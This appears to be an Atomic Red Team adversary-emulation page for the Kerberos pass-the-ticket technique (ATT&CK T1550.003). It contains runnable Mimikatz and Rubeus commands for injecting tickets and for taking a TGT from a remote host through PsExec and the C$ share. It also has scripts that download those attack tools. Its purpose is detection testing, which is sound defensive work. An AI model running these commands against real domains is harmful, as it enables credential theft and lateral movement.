# T1550.003 - Pass the Ticket
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1550/003)
<blockquote>Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system.

When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket)

A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained for services that use Kerberos as an authentication mechanism and are used to generate tickets to access that particular resource and the system that hosts the resource (e.g., SharePoint).(Citation: ADSecurity AD Kerberos Attacks)

A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014)

Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, "overpassing the hash" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Mimikatz Kerberos Ticket Attack](#atomic-test-1---mimikatz-kerberos-ticket-attack)

- [Atomic Test #2 - Rubeus Kerberos Pass The Ticket](#atomic-test-2---rubeus-kerberos-pass-the-ticket)


<br/>

## Atomic Test #1 - Mimikatz Kerberos Ticket Attack
Similar to PTH, but attacking Kerberos

**Supported Platforms:** Windows


**auto_generated_guid:** dbf38128-7ba7-4776-bedf-cc2eed432098





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| ticket | Ticket file name usually format of 'id-username&#92;@domain.kirbi' (e.g. can be dumped by "sekurlsa::tickets /export" module) | String | |
| mimikatz_exe | Path of the Mimikatz binary | Path | PathToAtomicsFolder&#92;T1550.003&#92;bin&#92;mimikatz.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
#{mimikatz_exe} "kerberos::ptt #{ticket}"
```




#### Dependencies:  Run with `powershell`!
##### Description: Mimikatz must exist on disk at specified location (#{mimikatz_exe})
##### Check Prereq Commands:
```powershell
if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
$mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href
Invoke-WebRequest "https://github.com$mimikatz_relative_uri" -UseBasicParsing -OutFile "$env:TEMP\Mimi.zip"
Expand-Archive $env:TEMP\Mimi.zip $env:TEMP\Mimi -Force
New-Item -ItemType Directory (Split-Path #{mimikatz_exe}) -Force | Out-Null
Copy-Item $env:TEMP\Mimi\x64\mimikatz.exe #{mimikatz_exe} -Force
```




<br/>
<br/>

## Atomic Test #2 - Rubeus Kerberos Pass The Ticket
Requesting a TGT on a remote system and retrieving it locally before requesting a service ticket with it. This is a Pass-The-Ticket attack because the TGT is obtained on the remote system, then used from a different machine (local).
PsExec is used to execute commands on the remote system, and the "C$" admin share is used to retrieve the TGT, so the current user must have admin rights remotely and other PsExec prerequisites must be met.

**Supported Platforms:** Windows


**auto_generated_guid:** a2fc4ec5-12c6-4fb4-b661-961f23f359cb





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| target | Remote system to request the TGT from | string | localhost|
| user_name | username associated with the ticket (privileged account not required) | String | Administrator|
| password | password for user_name | String | Password|
| domain | domain | String | $Env:USERDOMAIN|
| rubeus_path | Path of the Rubeus binary | Path | $Env:TEMP&#92;rubeus.exe|
| rubeus_url | URL of Rubeus executable | Url | https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe|
| psexec_path | Path of the PsExec binary | String | C:&#92;PSTools&#92;PsExec.exe|


#### Attack Commands: Run with `powershell`!  Elevation Required (e.g. root or admin) 


```powershell
#{psexec_path} -accepteula \\#{target} -w c:\ -c #{rubeus_path} asktgt /user:#{user_name} /password:#{password} /domain:#{domain} /outfile:ticket.kirbi
Set-Location $env:TEMP
Move-Item -Force "\\#{target}\c$\ticket.kirbi" ticket.kirbi
Write-Host "Successfully retrieved TGT from '#{target}', now requesting a TGS from local"
& "#{rubeus_path}" asktgs /service:cifs/#{target} /ticket:ticket.kirbi /ptt
Remove-Item $env:TEMP\ticket.kirbi
& "#{rubeus_path}" purge
```




#### Dependencies:  Run with `powershell`!
##### Description: Rubeus must exist on disk at specified location (#{rubeus_path})
##### Check Prereq Commands:
```powershell
if (Test-Path #{rubeus_path}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{rubeus_path}
```
##### Description: PsExec must exist on disk at specified location (#{psexec_path})
##### Check Prereq Commands:
```powershell
if (Test-Path #{psexec_path}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip"
Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force
New-Item -ItemType Directory (Split-Path "#{psexec_path}") -Force | Out-Null
Copy-Item $env:TEMP\PsTools\PsExec.exe "#{psexec_path}" -Force
```




<br/>
